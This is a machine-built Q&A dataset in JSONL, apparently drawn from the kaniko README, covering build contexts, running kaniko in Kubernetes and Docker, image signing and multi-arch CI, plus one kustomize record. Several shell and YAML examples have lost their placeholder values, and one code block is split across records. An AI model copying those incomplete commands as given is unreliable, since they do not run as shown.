{"id": "gh_fc87aa3ca2b0", "question": "How to: How does kaniko work?", "question_body": "About GoogleContainerTools/kaniko", "answer": "The kaniko executor image is responsible for building an image from a Dockerfile\nand pushing it to a registry. Within the executor image, we extract the\nfilesystem of the base image (the FROM image in the Dockerfile). We then execute\nthe commands in the Dockerfile, snapshotting the filesystem in userspace after\neach one. After each command, we append a layer of changed files to the base\nimage (if there are any) and update image metadata.", "tags": ["GoogleContainerTools"], "source": "github_gists", "category": "GoogleContainerTools", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 15736, "answer_score": 10, "has_code": false, "url": "https://github.com/GoogleContainerTools/kaniko", "collected_at": "2026-01-16T23:31:03.928744"}
{"id": "gh_c7451ed1aedb", "question": "How to: Known Issues", "question_body": "About GoogleContainerTools/kaniko", "answer": "- kaniko does not support building Windows containers.\n- Running kaniko in any Docker image other than the official kaniko image is not\n  supported due to implementation details.\n  - This includes copying the kaniko executables from the official image into\n    another image (e.g. a Jenkins CI agent).\n  - In particular, it cannot use chroot or bind-mount because its container must\n    not require privilege, so it unpacks directly into its own container root\n    and may overwrite anything already there.\n- kaniko does not support the v1 Registry API\n  ([Registry v1 API Deprecation](https://www.docker.com/blog/registry-v1-api-deprecation/))", "tags": ["GoogleContainerTools"], "source": "github_gists", "category": "GoogleContainerTools", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 15736, "answer_score": 10, "has_code": true, "url": "https://github.com/GoogleContainerTools/kaniko", "collected_at": "2026-01-16T23:31:03.928751"}
{"id": "gh_73a854ee9bfe", "question": "How to: Using kaniko", "question_body": "About GoogleContainerTools/kaniko", "answer": "To use kaniko to build and push an image for you, you will need:\n\n1. A [build context](#kaniko-build-contexts), aka something to build\n2. A [running instance of kaniko](#running-kaniko)", "tags": ["GoogleContainerTools"], "source": "github_gists", "category": "GoogleContainerTools", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 15736, "answer_score": 10, "has_code": false, "url": "https://github.com/GoogleContainerTools/kaniko", "collected_at": "2026-01-16T23:31:03.928757"}
{"id": "gh_77e7315fc46a", "question": "How to: kaniko Build Contexts", "question_body": "About GoogleContainerTools/kaniko", "answer": "kaniko's build context is very similar to the build context you would send your\nDocker daemon for an image build; it represents a directory containing a\nDockerfile which kaniko will use to build your image. For example, a `COPY`\ncommand in your Dockerfile should refer to a file in the build context.\n\nYou will need to store your build context in a place that kaniko can access.\nRight now, kaniko supports these storage solutions:\n\n- GCS Bucket\n- S3 Bucket\n- Azure Blob Storage\n- Local Directory\n- Local Tar\n- Standard Input\n- Git Repository\n\n_Note about Local Directory: this option refers to a directory within the kaniko\ncontainer. If you wish to use this option, you will need to mount in your build\ncontext into the container as a directory._\n\n_Note about Local Tar: this option refers to a tar gz file within the kaniko\ncontainer. If you wish to use this option, you will need to mount in your build\ncontext into the container as a file._\n\n_Note about Standard Input: the only Standard Input allowed by kaniko is in\n`.tar.gz` format._\n\nIf using a GCS or S3 bucket, you will first need to create a compressed tar of\nyour build context and upload it to your bucket. Once running, kaniko will then\ndownload and unpack the compressed tar of the build context before starting the\nimage build.\n\nTo create a compressed tar, you can run:\n\n```shell\ntar -C\n-zcvf context.tar.gz .\n```\n\nThen, copy over the compressed tar into your bucket. For example, we can copy\nover the compressed tar to a GCS bucket with gsutil:\n\n```shell\ngsutil cp context.tar.gz gs://\n```\n\nWhen running kaniko, use the `--context` flag with the appropriate prefix to\nspecify the location of your build context:\n\n| Source             | Prefix                                                                | Example                                                                       |\n| ------------------ | --------------------------------------------------------------------- | ----------------------------------------------------------------------------- |\n| Local Directory    | dir://[path to a directory in the kaniko container]                   | `dir:///workspace`                                                            |\n| Local Tar Gz       | tar://[path to a .tar.gz in the kaniko container]                     | `tar:///path/to/context.tar.gz`                                               |\n| Standard Input     | tar://[stdin]                                                         | `tar://stdin`                                                                 |\n| GCS Bucket         | gs://[bucket name]/[path to .tar.gz]                                  | `gs://kaniko-bucket/path/to/context.tar.gz`                                   |\n| S3 Bucket          | s3://[bucket name]/[path to .tar.gz]                                  | `s3://kaniko-bucket/path/to/context.tar.gz`                                   |\n| Azure Blob Storage | https://[account].[azureblobhostsuffix]/[container]/[path to .tar.gz] | `https://myaccount.blob.core.windows.net/container/path/to/context.tar.gz`    |\n| Git Repository     | git://[repository url][#reference][#commit-id]                        | `git://github.com/acme/myproject.git#refs/heads/mybranch#\n` |\n\nIf you don't specify a prefix, kaniko will assume a local directory. For\nexample, to use a GCS bucket called `kaniko-bucket`, you would pass in\n`--context=gs://kaniko-bucket/path/to/context.tar.gz`.", "tags": ["GoogleContainerTools"], "source": "github_gists", "category": "GoogleContainerTools", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 15736, "answer_score": 10, "has_code": true, "url": "https://github.com/GoogleContainerTools/kaniko", "collected_at": "2026-01-16T23:31:03.928767"}
{"id": "gh_dffd2ad288f4", "question": "How to: Using Azure Blob Storage", "question_body": "About GoogleContainerTools/kaniko", "answer": "If you are using Azure Blob Storage for context file, you will need to pass\n[Azure Storage Account Access Key](https://docs.microsoft.com/en-us/azure/storage/common/storage-configure-connection-string?toc=%2fazure%2fstorage%2fblobs%2ftoc.json)\nas an environment variable named `AZURE_STORAGE_ACCESS_KEY` through Kubernetes\nSecrets", "tags": ["GoogleContainerTools"], "source": "github_gists", "category": "GoogleContainerTools", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 15736, "answer_score": 10, "has_code": false, "url": "https://github.com/GoogleContainerTools/kaniko", "collected_at": "2026-01-16T23:31:03.928772"}
{"id": "gh_559684aa3762", "question": "How to: Using Private Git Repository", "question_body": "About GoogleContainerTools/kaniko", "answer": "You can use `Personal Access Tokens` for Build Contexts from Private\nRepositories from\n[GitHub](https://blog.github.com/2012-09-21-easier-builds-and-deployments-using-git-over-https-and-oauth/).\n\nYou can either pass this in as part of the git URL (e.g.,\n`git://TOKEN@github.com/acme/myproject.git#refs/heads/mybranch`) or using the\nenvironment variable `GIT_TOKEN`.\n\nYou can also pass `GIT_USERNAME` and `GIT_PASSWORD` (password being the token)\nif you want to be explicit about the username.", "tags": ["GoogleContainerTools"], "source": "github_gists", "category": "GoogleContainerTools", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 15736, "answer_score": 10, "has_code": false, "url": "https://github.com/GoogleContainerTools/kaniko", "collected_at": "2026-01-16T23:31:03.928778"}
{"id": "gh_17391e02fd07", "question": "How to: Using Standard Input", "question_body": "About GoogleContainerTools/kaniko", "answer": "If running kaniko and using Standard Input build context, you will need to add\nthe docker or kubernetes `-i, --interactive` flag. Once running, kaniko will\nthen get the data from `STDIN` and create the build context as a compressed tar.\nIt will then unpack the compressed tar of the build context before starting the\nimage build. If no data is piped during the interactive run, you will need to\nsend the EOF signal by yourself by pressing `Ctrl+D`.\n\nComplete example of how to interactively run kaniko with `.tar.gz` Standard\nInput data, using docker:\n\n```shell\necho -e 'FROM alpine \\nRUN echo \"created from standard input\"' > Dockerfile | tar -cf - Dockerfile | gzip -9 | docker run \\\n  --interactive -v $(pwd):/workspace gcr.io/kaniko-project/executor:latest \\\n  --context tar://stdin \\\n  --destination=\n```\n\nComplete example of how to interactively run kaniko with `.tar.gz` Standard\nInput data, using Kubernetes command line with a temporary container and\ncompletely dockerless:\n\n```shell\necho -e 'FROM alpine \\nRUN echo \"created from standard input\"' > Dockerfile | tar -cf - Dockerfile | gzip -9 | kubectl run kaniko \\\n--rm --stdin=true \\\n--image=gcr.io/kaniko-project/executor:latest --restart=Never \\\n--overrides='{\n  \"apiVersion\": \"v1\",\n  \"spec\": {\n    \"containers\": [\n      {\n        \"name\": \"kaniko\",\n        \"image\": \"gcr.io/kaniko-project/executor:latest\",\n        \"stdin\": true,\n        \"stdinOnce\": true,\n        \"args\": [\n          \"--dockerfile=Dockerfile\",\n          \"--context=tar://stdin\",\n          \"--destination=gcr.io/my-repo/my-image\"\n        ],\n        \"volumeMounts\": [\n          {\n            \"name\": \"cabundle\",\n            \"mountPath\": \"/kaniko/ssl/certs/\"\n          },\n          {\n            \"name\": \"docker-config\",\n            \"mountPath\": \"/kaniko/.docker/\"\n          }\n        ]\n      }\n    ],\n    \"volumes\": [\n      {\n        \"name\": \"cabundle\",\n        \"configMap\": {\n          \"name\": \"cabundle\"\n        }\n      },\n      {\n        \"name\": \"docker-config\",\n        \"configMap\": {\n          \"name\": \"docker-config\"\n        }\n      }\n    ]\n  }\n}'\n```", "tags": ["GoogleContainerTools"], "source": "github_gists", "category": "GoogleContainerTools", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 15736, "answer_score": 10, "has_code": true, "url": "https://github.com/GoogleContainerTools/kaniko", "collected_at": "2026-01-16T23:31:03.928788"}
{"id": "gh_05a47bce6750", "question": "How to: Running kaniko", "question_body": "About GoogleContainerTools/kaniko", "answer": "There are several different ways to deploy and run kaniko:\n\n- [In a Kubernetes cluster](#running-kaniko-in-a-kubernetes-cluster)\n- [In gVisor](#running-kaniko-in-gvisor)\n- [In Google Cloud Build](#running-kaniko-in-google-cloud-build)\n- [In Docker](#running-kaniko-in-docker)\n\n#### Running kaniko in a Kubernetes cluster\n\nRequirements:\n\n- Standard Kubernetes cluster (e.g. using\n  [GKE](https://cloud.google.com/kubernetes-engine/))\n- [Kubernetes Secret](#kubernetes-secret)\n- A [build context](#kaniko-build-contexts)\n\n##### Kubernetes secret\n\nTo run kaniko in a Kubernetes cluster, you will need a standard running\nKubernetes cluster and a Kubernetes secret, which contains the auth required to\npush the final image.\n\nTo create a secret to authenticate to Google Cloud Registry, follow these steps:\n\n1. Create a service account in the Google Cloud Console project you want to push\n   the final image to with `Storage Admin` permissions.\n2. Download a JSON key for this service account\n3. Rename the key to `kaniko-secret.json`\n4. To create the secret, run:\n\n```shell\nkubectl create secret generic kaniko-secret --from-file=\n```\n\n_Note: If using a GCS bucket in the same GCP project as a build context, this\nservice account should now also have permissions to read from that bucket._\n\nThe Kubernetes Pod spec should look similar to this, with the args parameters\nfilled in:\n\n```yaml\napiVersion: v1\nkind: Pod\nmetadata:\n  name: kaniko\nspec:\n  containers:\n    - name: kaniko\n      image: gcr.io/kaniko-project/executor:latest\n      args:\n        - \"--dockerfile=\n\"\n        - \"--context=gs://\n/\n\"\n        - \"--destination=\n\"\n      volumeMounts:\n        - name: kaniko-secret\n          mountPath: /secret\n      env:\n        - name: GOOGLE_APPLICATION_CREDENTIALS\n          value: /secret/kaniko-secret.json\n  restartPolicy: Never\n  volumes:\n    - name: kaniko-secret\n      secret:\n        secretName: kaniko-secret\n```\n\nThis example pulls the build context from a GCS bucket. To use a local directory\nbuild context, you could consider using configMaps to mount in small build\ncontexts.\n\n#### Running kaniko in gVisor\n\nRunning kaniko in [gVisor](https://github.com/google/gvisor) provides an\nadditional security boundary. You will need to add the `--force` flag to run\nkaniko in gVisor, since currently there isn't a way to determine whether or not\na container is running in gVisor.\n\n```shell\ndocker run --runtime=runsc -v $(pwd):/workspace -v ~/.config:/root/.config \\\ngcr.io/kaniko-project/executor:latest \\\n--dockerfile=\n--context=/workspace \\\n--destination=gcr.io/my-repo/my-image --force\n```\n\nWe pass in `--runtime=runsc` to use gVisor. This example mounts the current\ndirectory to `/workspace` for the build context and the `~/.config` directory\nfor GCR credentials.\n\n#### Running kaniko in Google Cloud Build\n\nRequirements:\n\n- A [build context](#kaniko-build-contexts)\n\nTo run kaniko in GCB, add it to your build config as a build step:\n\n```yaml\nsteps:\n  - name: gcr.io/kaniko-project/executor:latest\n    args:\n      [\n        \"--dockerfile=\n\",\n        \"--context=dir://\n\",\n        \"--destination=\n\",\n      ]\n```\n\nkaniko will build and push the final image in this build step.\n\n#### Running kaniko in Docker\n\nRequirements:\n\n- [Docker](https://docs.docker.com/install/)\n\nWe can run the kaniko executor image locally in a Docker daemon to build and\npush an image from a Dockerfile.\n\nFor example, when using gcloud and GCR you could run kaniko as follows:\n\n```shell\ndocker run \\\n    -v \"$HOME\"/.config/gcloud:/root/.config/gcloud \\\n    -v /path/to/context:/workspace \\\n    gcr.io/kaniko-project/executor:latest \\\n    --dockerfile /workspace/Dockerfile \\\n    --destination \"gcr.io/$PROJECT_ID/$IMAGE_NAME:$TAG\" \\\n    --context dir:///workspace/\n```\n\nThere is also a utility script [`run_in_docker.sh`](./run_in_docker.sh) that can\nbe used as follows:\n\n```shell\n./run_in_docker.sh\n```\n\n_NOTE: `run_in_docker.sh` expects a path to a Dockerfile relative to the\nabsolute path of the build context._\n\nAn example run, specifying the Dockerfile in the container directory\n`/workspace`, the build context in the local directory\n`/home/user/kaniko-project`, and a Google Container Registry as a remote image\ndestination:\n\n```shell\n./run_in_docker.sh /workspace/Dockerfile /home/user/kaniko-project gcr.io/$PROJECT_ID/$TAG\n```", "tags": ["GoogleContainerTools"], "source": "github_gists", "category": "GoogleContainerTools", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 15736, "answer_score": 10, "has_code": true, "url": "https://github.com/GoogleContainerTools/kaniko", "collected_at": "2026-01-16T23:31:03.928803"}
{"id": "gh_0b2a606674c9", "question": "How to: Debug Image", "question_body": "About GoogleContainerTools/kaniko", "answer": "The kaniko executor image is based on scratch and doesn't contain a shell. We\nprovide `gcr.io/kaniko-project/executor:debug`, a debug image which consists of\nthe kaniko executor image along with a busybox shell to enter.\n\nYou can launch the debug image with a shell entrypoint:\n\n```shell\ndocker run -it --entrypoint=/busybox/sh gcr.io/kaniko-project/executor:debug\n```", "tags": ["GoogleContainerTools"], "source": "github_gists", "category": "GoogleContainerTools", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 15736, "answer_score": 10, "has_code": true, "url": "https://github.com/GoogleContainerTools/kaniko", "collected_at": "2026-01-16T23:31:03.928868"}
{"id": "gh_3f6b4425e233", "question": "How to: Verifying Signed Kaniko Images", "question_body": "About GoogleContainerTools/kaniko", "answer": "kaniko images are signed for versions >= 1.5.2 using\n[cosign](https://github.com/sigstore/cosign)!\n\nTo verify a public image, install [cosign](https://github.com/sigstore/cosign)\nand use the provided [public key](cosign.pub):\n\n```\n$ cat cosign.pub\n-----BEGIN PUBLIC KEY-----\nMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAE9aAfAcgAxIFMTstJUv8l/AMqnSKw\nP+vLu3NnnBDHCfREQpV/AJuiZ1UtgGpFpHlJLCNPmFkzQTnfyN5idzNl6Q==\n-----END PUBLIC KEY-----\n\n$ cosign verify -key ./cosign.pub gcr.io/kaniko-project/executor:latest\n```", "tags": ["GoogleContainerTools"], "source": "github_gists", "category": "GoogleContainerTools", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 15736, "answer_score": 10, "has_code": true, "url": "https://github.com/GoogleContainerTools/kaniko", "collected_at": "2026-01-16T23:31:03.928875"}
{"id": "gh_82f54a96c1df", "question": "How to: Kaniko Builds - Profiling", "question_body": "About GoogleContainerTools/kaniko", "answer": "If your builds are taking long, we recently added support to analyze kaniko\nfunction calls using [Slow Jam](https://github.com/google/slowjam) To start\nprofiling,\n\n1. Add an environment variable `STACKLOG_PATH` to your\n   [pod definition](https://github.com/GoogleContainerTools/kaniko/blob/master/examples/pod-build-profile.yaml#L15).\n2. If you are using the kaniko `debug` image, you can copy the file in the\n   `pre-stop` container lifecycle hook.", "tags": ["GoogleContainerTools"], "source": "github_gists", "category": "GoogleContainerTools", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 15736, "answer_score": 10, "has_code": false, "url": "https://github.com/GoogleContainerTools/kaniko", "collected_at": "2026-01-16T23:31:03.928881"}
{"id": "gh_7a567e80975d", "question": "How to: Creating Multi-arch Container Manifests Using Kaniko and Manifest-tool", "question_body": "About GoogleContainerTools/kaniko", "answer": "While Kaniko itself currently does not support creating multi-arch manifests\n(contributions welcome), one can use tools such as\n[manifest-tool](https://github.com/estesp/manifest-tool) to stitch multiple\nseparate builds together into a single container manifest.", "tags": ["GoogleContainerTools"], "source": "github_gists", "category": "GoogleContainerTools", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 15736, "answer_score": 10, "has_code": false, "url": "https://github.com/GoogleContainerTools/kaniko", "collected_at": "2026-01-16T23:31:03.928886"}
{"id": "gh_410acd28e133", "question": "How to: General Workflow", "question_body": "About GoogleContainerTools/kaniko", "answer": "The general workflow for creating multi-arch manifests is as follows:\n\n1. Build separate container images using Kaniko on build hosts matching your\n   target architecture and tag them with the appropriate ARCH tag.\n2. Push the separate images to your container registry.\n3. Manifest-tool identifies the separate manifests in your container registry,\n   according to a given template.\n4. Manifest-tool pushes a combined manifest referencing the separate manifests.\n\n![Workflow Multi-arch](docs/images/multi-arch.drawio.svg)", "tags": ["GoogleContainerTools"], "source": "github_gists", "category": "GoogleContainerTools", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 15736, "answer_score": 10, "has_code": false, "url": "https://github.com/GoogleContainerTools/kaniko", "collected_at": "2026-01-16T23:31:03.928891"}
{"id": "gh_d7c81bb4ce55", "question": "How to: Limitations and Pitfalls", "question_body": "About GoogleContainerTools/kaniko", "answer": "The following conditions must be met:\n\n1. You need access to build-machines running the desired architectures (running\n   Kaniko in an emulator, e.g. QEMU should also be possible but goes beyond the\n   scope of this documentation). This is something to keep in mind when using\n   SaaS build tools such as github.com or gitlab.com, of which at the time of\n   writing neither supports any non-x86_64 SaaS runners\n   ([GitHub](https://docs.github.com/en/actions/using-github-hosted-runners/about-github-hosted-runners/about-github-hosted-runners#supported-runners-and-hardware-resources),[GitLab](https://docs.gitlab.com/ee/ci/runners/saas/linux_saas_runner.html#machine-types-available-for-private-projects-x86-64)),\n   so be prepared to bring your own machines\n   ([GitHub](https://docs.github.com/en/actions/hosting-your-own-runners/managing-self-hosted-runners/about-self-hosted-runners),[GitLab](https://docs.gitlab.com/runner/register/).\n2. Kaniko needs to be able to run on the desired architectures. At the time of\n   writing, the official Kaniko container supports\n   [linux/amd64, linux/arm64, linux/s390x and linux/ppc64le (not on \\*-debug images)](https://github.com/GoogleContainerTools/kaniko/blob/main/.github/workflows/images.yaml).\n3. The container registry of your choice must be OCIv1 or Docker v2.2\n   compatible.", "tags": ["GoogleContainerTools"], "source": "github_gists", "category": "GoogleContainerTools", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 15736, "answer_score": 10, "has_code": false, "url": "https://github.com/GoogleContainerTools/kaniko", "collected_at": "2026-01-16T23:31:03.928898"}
{"id": "gh_c76d0adfaefc", "question": "How to: Example CI Pipeline (GitLab)", "question_body": "About GoogleContainerTools/kaniko", "answer": "It is up to you to find an automation tool that suits your needs best. We\nrecommend using a modern CI/CD system such as GitHub workflows or GitLab CI. As\nwe (the authors) happen to use GitLab CI, the following examples are tailored to\nthis specific platform but the underlying principles should apply anywhere else\nand the examples are kept simple enough, so that you should be able to follow\nalong, even without any previous experiences with this specific platform. When\nin doubt, visit the\n[gitlab-ci.yml reference page](https://docs.gitlab.com/ee/ci/yaml/index.html)\nfor a comprehensive overview of the GitLab CI keywords.\n\n#### Building the Separate Container Images\n\ngitlab-ci.yml:\n\n```yaml", "tags": ["GoogleContainerTools"], "source": "github_gists", "category": "GoogleContainerTools", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 15736, "answer_score": 10, "has_code": true, "url": "https://github.com/GoogleContainerTools/kaniko", "collected_at": "2026-01-16T23:31:03.928904"}
{"id": "gh_7ede5e73b11e", "question": "How to: define a job for building the containers", "question_body": "About GoogleContainerTools/kaniko", "answer": "build-container:\n  stage: container-build\n  # run parallel builds for the desired architectures\n  parallel:\n    matrix:\n      - ARCH: amd64\n      - ARCH: arm64\n  tags:\n    # run each build on a suitable, preconfigured runner (must match the target architecture)\n    - runner-${ARCH}\n  image:\n    name: gcr.io/kaniko-project/executor:debug\n    entrypoint: [\"\"]\n  script:\n    # build the container image for the current arch using kaniko\n    - >-\n      /kaniko/executor --context \"${CI_PROJECT_DIR}\" --dockerfile\n      \"${CI_PROJECT_DIR}/Dockerfile\" # push the image to the GitLab container\n      registry, add the current arch as tag. --destination\n      \"${CI_REGISTRY_IMAGE}:${ARCH}\"\n```\n\n#### Merging the Container Manifests\n\ngitlab-ci.yml:\n\n```yaml", "tags": ["GoogleContainerTools"], "source": "github_gists", "category": "GoogleContainerTools", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 15736, "answer_score": 10, "has_code": true, "url": "https://github.com/GoogleContainerTools/kaniko", "collected_at": "2026-01-16T23:31:03.928910"}
{"id": "gh_971e1e1c43bd", "question": "How to: define a job for creating and pushing a merged manifest", "question_body": "About GoogleContainerTools/kaniko", "answer": "merge-manifests:\n  stage: container-build\n  # all containers must be build before merging them\n  # alternatively the job may be configured to run in a later stage\n  needs:\n    - job: container-build\n      artifacts: false\n  tags:\n    # may run on any architecture supported by manifest-tool image\n    - runner-xyz\n  image:\n    name: mplatform/manifest-tool:alpine\n    entrypoint: [\"\"]\n  script:\n    - >-\n      manifest-tool # authorize against your container registry\n      --username=${CI_REGISTRY_USER} --password=${CI_REGISTRY_PASSWORD} push\n      from-args # define the architectures you want to merge --platforms\n      linux/amd64,linux/arm64 # \"ARCH\" will be automatically replaced by\n      manifest-tool # with the appropriate arch from the platform definitions\n      --template ${CI_REGISTRY_IMAGE}:ARCH # The name of the final, combined\n      image which will be pushed to your registry --target ${CI_REGISTRY_IMAGE}\n```\n\n#### On the Note of Adding Versioned Tags\n\nFor simplicity's sake we deliberately refrained from using versioned tagged\nimages (all builds will be tagged as \"latest\") in the previous examples, as we\nfeel like this adds to much platform and workflow specific code.\n\nNethertheless, for anyone interested in how we handle (dynamic) versioning in\nGitLab, here is a short rundown:\n\n- If you are only interested in building tagged releases, you can simply use the\n  [GitLab predefined](https://docs.gitlab.com/ee/ci/variables/predefined_variables.html)\n  `CI_COMMIT_TAG` variable when running a tag pipeline.\n- When you (like us) want to additionally build container images outside of\n  releases, things get a bit messier. In our case, we added a additional job\n  which runs before the build and merge jobs (don't forget to extend the `needs`\n  section of the build and merge jobs accordingly), which will set the tag to\n  `latest` when running on the default branch, to the commit hash when run on\n  other branches and to the release tag when run on a tag pipeline.\n\ngitlab-ci.yml:\n\n```yaml\ncontainer-get-tag:\n  stage: pre-container-build-stage\n  tags:\n    - runner-xyz\n  image: busybox\n  script:\n    # All other branches are tagged with the currently built commit SHA hash\n    - |\n      # If pipeline runs on the default branch: Set tag to \"latest\"\n      if test \"$CI_COMMIT_BRANCH\" == \"$CI_DEFAULT_BRANCH\"; then\n        tag=\"latest\"\n      # If pipeline is a tag pipeline, set tag to the git commit tag\n      elif test -n \"$CI_COMMIT_TAG\"; then\n        tag=\"$CI_COMMIT_TAG\"\n      # Else set the tag to the git commit sha\n      else\n        tag=\"$CI_COMMIT_SHA\"\n      fi\n    - echo \"tag=$tag\" > build.env\n  # parse tag to the build and merge jobs.\n  # See: https://docs.gitlab.com/ee/ci/variables/#pass-an-environment-variable-to-another-job\n  artifacts:\n    reports:\n      dotenv: build.env\n```", "tags": ["GoogleContainerTools"], "source": "github_gists", "category": "GoogleContainerTools", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 15736, "answer_score": 10, "has_code": true, "url": "https://github.com/GoogleContainerTools/kaniko", "collected_at": "2026-01-16T23:31:03.928920"}
{"id": "gh_07173aaf2aca", "question": "How to: Comparison with Other Tools", "question_body": "About GoogleContainerTools/kaniko", "answer": "Similar tools include:\n\n- [BuildKit](https://github.com/moby/buildkit)\n- [img](https://github.com/genuinetools/img)\n- [orca-build](https://github.com/cyphar/orca-build)\n- [umoci](https://github.com/openSUSE/umoci)\n- [buildah](https://github.com/containers/buildah)\n- [FTL](https://github.com/GoogleCloudPlatform/runtimes-common/tree/master/ftl)\n- [Bazel rules_docker](https://github.com/bazelbuild/rules_docker)\n\nAll of these tools build container images with different approaches.\n\nBuildKit (and `img`) can perform as a non-root user from within a container but\nrequires seccomp and AppArmor to be disabled to create nested containers.\n`kaniko` does not actually create nested containers, so it does not require\nseccomp and AppArmor to be disabled. BuildKit supports \"cross-building\"\nmulti-arch containers by leveraging QEMU.\n\n`orca-build` depends on `runc` to build images from Dockerfiles, which can not\nrun inside a container (for similar reasons to `img` above). `kaniko` doesn't\nuse `runc` so it doesn't require the use of kernel namespacing techniques.\nHowever, `orca-build` does not require Docker or any privileged daemon (so\nbuilds can be done entirely without privilege).\n\n`umoci` works without any privileges, and also has no restrictions on the root\nfilesystem being extracted (though it requires additional handling if your\nfilesystem is sufficiently complicated). However, it has no `Dockerfile`-like\nbuild tooling (it's a slightly lower-level tool that can be used to build such\nbuilders -- such as `orca-build`).\n\n`Buildah` specializes in building OCI images. Buildah's commands replicate all\nof the commands that are found in a Dockerfile. This allows building images with\nand without Dockerfiles while not requiring any root privileges. Buildah’s\nultimate goal is to provide a lower-level coreutils interface to build images.\nThe flexibility of building images without Dockerfiles allows for the\nintegration of other scripting languages into the build process. Buildah follows\na simple fork-exec model and does not run as a daemon but it is based on a\ncomprehensive API in golang, which can be vendored into other tools.\n\n`FTL` and `Bazel` aim to achieve the fastest possible creation of Docker images\nfor a subset of images. These can be thought of as a special-case \"fast path\"\nthat can be used in conjunction with the support for general Dockerfiles kaniko\nprovides.", "tags": ["GoogleContainerTools"], "source": "github_gists", "category": "GoogleContainerTools", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 15736, "answer_score": 10, "has_code": false, "url": "https://github.com/GoogleContainerTools/kaniko", "collected_at": "2026-01-16T23:31:03.928934"}
{"id": "gh_e8d9b29337c1", "question": "How to: mtime and snapshotting", "question_body": "About GoogleContainerTools/kaniko", "answer": "When taking a snapshot, kaniko's hashing algorithms include (or in the case of\n[`--snapshot-mode=time`](#--snapshotmode), only use) a file's\n[`mtime`](https://en.wikipedia.org/wiki/Inode#POSIX_inode_description) to\ndetermine if the file has changed. Unfortunately, there is a delay between when\nchanges to a file are made and when the `mtime` is updated. This means:\n\n- With the time-only snapshot mode (`--snapshot-mode=time`), kaniko may miss\n  changes introduced by `RUN` commands entirely.\n- With the default snapshot mode (`--snapshot-mode=full`), whether or not kaniko\n  will add a layer in the case where a `RUN` command modifies a file **but the\n  contents do not** change is theoretically non-deterministic. This _does not\n  affect the contents_ which will still be correct, but it does affect the\n  number of layers.\n\n_Note that these issues are currently theoretical only. If you see this issue\noccur, please\n[open an issue](https://github.com/GoogleContainerTools/kaniko/issues)._", "tags": ["GoogleContainerTools"], "source": "github_gists", "category": "GoogleContainerTools", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 15736, "answer_score": 10, "has_code": false, "url": "https://github.com/GoogleContainerTools/kaniko", "collected_at": "2026-01-16T23:31:03.928942"}
{"id": "gh_89d95c455e96", "question": "How to: Dockerfile commands `--chown` support", "question_body": "About GoogleContainerTools/kaniko", "answer": "Kaniko currently supports `COPY --chown` and `ADD --chown` Dockerfile command. It does not support `RUN --chown`.", "tags": ["GoogleContainerTools"], "source": "github_gists", "category": "GoogleContainerTools", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 15736, "answer_score": 10, "has_code": false, "url": "https://github.com/GoogleContainerTools/kaniko", "collected_at": "2026-01-16T23:31:03.928947"}
{"id": "gh_938804607529", "question": "How to: References", "question_body": "About GoogleContainerTools/kaniko", "answer": "- [Kaniko - Building Container Images In Kubernetes Without Docker](https://youtu.be/EgwVQN6GNJg).", "tags": ["GoogleContainerTools"], "source": "github_gists", "category": "GoogleContainerTools", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 15736, "answer_score": 10, "has_code": false, "url": "https://github.com/GoogleContainerTools/kaniko", "collected_at": "2026-01-16T23:31:03.928951"}
{"id": "gh_c139e63805d1", "question": "How to: kubectl integration", "question_body": "About kubernetes-sigs/kustomize", "answer": "To find the kustomize version embedded in recent versions of kubectl, run `kubectl version`:\n\n```sh\n> kubectl version --client\nClient Version: v1.31.0\nKustomize Version: v5.4.2\n```\n\nThe kustomize build flow at [v2.0.3] was added\nto [kubectl v1.14][kubectl announcement].  The kustomize\nflow in kubectl remained frozen at v2.0.3 until kubectl v1.21,\nwhich [updated it to v4.0.5][kust-in-kubectl update]. It will\nbe updated on a regular basis going forward, and such updates\nwill be reflected in the Kubernetes release notes.\n\n| Kubectl version | Kustomize version |\n| --------------- | ----------------- |\n| < v1.14         | n/a               |\n| v1.14-v1.20     | v2.0.3            |\n| v1.21           | v4.0.5            |\n| v1.22           | v4.2.0            |\n| v1.23           | v4.4.1            |\n| v1.24           | v4.5.4            |\n| v1.25           | v4.5.7            |\n| v1.26           | v4.5.7            |\n| v1.27           | v5.0.1            |\n\n[v2.0.3]: https://github.com/kubernetes-sigs/kustomize/releases/tag/v2.0.3\n[#2506]: https://github.com/kubernetes-sigs/kustomize/issues/2506\n[#1500]: https://github.com/kubernetes-sigs/kustomize/issues/1500\n[kust-in-kubectl update]: https://github.com/kubernetes/kubernetes/blob/4d75a6238a6e330337526e0513e67d02b1940b63/CHANGELOG/CHANGELOG-1.21.md#kustomize-updates-in-kubectl\n\nFor examples and guides for using the kubectl integration please\nsee the [kubernetes documentation].", "tags": ["kubernetes-sigs"], "source": "github_gists", "category": "kubernetes-sigs", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 11885, "answer_score": 10, "has_code": true, "url": "https://github.com/kubernetes-sigs/kustomize", "collected_at": "2026-01-16T23:31:05.815565"}
